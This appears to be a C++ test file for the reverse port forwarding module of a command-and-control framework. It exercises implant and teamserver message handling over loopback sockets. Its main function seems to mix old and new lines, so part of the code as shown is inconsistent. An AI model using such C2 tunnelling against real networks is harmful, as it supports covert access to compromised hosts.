ok &= expect(implant.process(toImplant, sendRet) == 0, "implant should send response to remote client");
|
||||
ok &= expect(sendRet.errorCode() <= 0, "implant response send should not set an error");
|
||||
ok &= expect(recvWithTimeout(remoteClient, std::chrono::seconds(2)) == "echo:ping", "remote client should receive local service response");
|
||||
|
||||
#ifdef _WIN32
|
||||
shutdown(remoteClient, SD_BOTH);
|
||||
#else
|
||||
shutdown(remoteClient, SHUT_RDWR);
|
||||
#endif
|
||||
closeSocket(remoteClient);
|
||||
|
||||
C2Message closeMessage;
|
||||
ok &= expect(waitForRecurring(
|
||||
implant,
|
||||
closeMessage,
|
||||
[&](const C2Message& message)
|
||||
{
|
||||
return message.cmd() == "close"
|
||||
&& message.args() == "close:" + dataArgs.substr(std::string("data:").size());
|
||||
},
|
||||
std::chrono::seconds(2)),
|
||||
"implant should emit close event after remote disconnect");
|
||||
if (closeMessage.cmd() == "close")
|
||||
ok &= expect(teamserver.followUp(closeMessage) == 0, "teamserver should close local connection");
|
||||
|
||||
return ok;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
SocketRuntime runtime;
|
||||
bool ok = true;
|
||||
|
||||
std::cout << "[+] ReversePortForward tests" << std::endl;
|
||||
ok &= expect(runtime.ready(), "socket runtime should initialise");
|
||||
if (!runtime.ready())
|
||||
return 1;
|
||||
|
||||
ok &= testInit();
|
||||
ok &= testInvalidArguments();
|
||||
ok &= testErrorMessages();
|
||||
ok &= test();
|
||||
|
||||
if (ok)
|
||||
std::cout << "[+] Success" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
ok &= testStartErrors();
|
||||
ok &= testLoopbackForward();
|
||||
|
||||
std::cout << (ok ? "[+]" : "[-]") << " reversePortForward tests" << std::endl;
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
|
||||
bool testInit()
|
||||
{
|
||||
ReversePortForward module;
|
||||
std::vector<std::string> cmd = {"reversePortForward", "8080", "127.0.0.1", "80"};
|
||||
C2Message message;
|
||||
|
||||
int rc = module.init(cmd, message);
|
||||
bool ok = rc == 0;
|
||||
ok &= message.instruction() == cmd[0];
|
||||
ok &= message.cmd() == "start";
|
||||
ok &= message.args() == "8080 127.0.0.1 80";
|
||||
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testInvalidArguments()
|
||||
{
|
||||
ReversePortForward module;
|
||||
std::vector<std::string> cmd = {"reversePortForward", "invalid", "127.0.0.1", "80"};
|
||||
C2Message message;
|
||||
|
||||
int rc = module.init(cmd, message);
|
||||
bool ok = rc == -1;
|
||||
ok &= !message.returnvalue().empty();
|
||||
|
||||
cmd = {"reversePortForward", "8080"};
|
||||
message = C2Message();
|
||||
rc = module.init(cmd, message);
|
||||
ok &= rc == -1;
|
||||
ok &= !message.returnvalue().empty();
|
||||
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testErrorMessages()
|
||||
{
|
||||
ReversePortForward module;
|
||||
std::string error;
|
||||
C2Message response;
|
||||
|
||||
response.set_errorCode(1);
|
||||
module.errorCodeToMsg(response, error);
|
||||
bool ok = !error.empty();
|
||||
|
||||
response.set_errorCode(2);
|
||||
module.errorCodeToMsg(response, error);
|
||||
ok &= !error.empty();
|
||||
|
||||
response.set_errorCode(3);
|
||||
module.errorCodeToMsg(response, error);
|
||||
ok &= !error.empty();
|
||||
|
||||
response.set_errorCode(4);
|
||||
module.errorCodeToMsg(response, error);
|
||||
ok &= !error.empty();
|
||||
|
||||
return ok;
|
||||
}
|
||||
|
||||
|
||||
bool test()
|
||||
{
|
||||
ReversePortForward module;
|
||||
std::vector<std::string> cmd = {"reversePortForward", "8080", "127.0.0.1", "9001"};
|
||||
C2Message message;
|
||||
C2Message ret;
|
||||
|
||||
int rc = module.init(cmd, message);
|
||||
|
||||
module.process(message, ret);
|
||||
|
||||
std::string err;
|
||||
module.errorCodeToMsg(ret, err);
|
||||
|
||||
std::cout << ret.returnvalue() << std::endl;
|
||||
std::cerr << err << std::endl;
|
||||
|
||||
int maxIter = 100;
|
||||
int iter = 0;
|
||||
while (iter < maxIter)
|
||||
{
|
||||
module.followUp(message);
|
||||
module.recurringExec(message);
|
||||
|
||||
iter++;
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user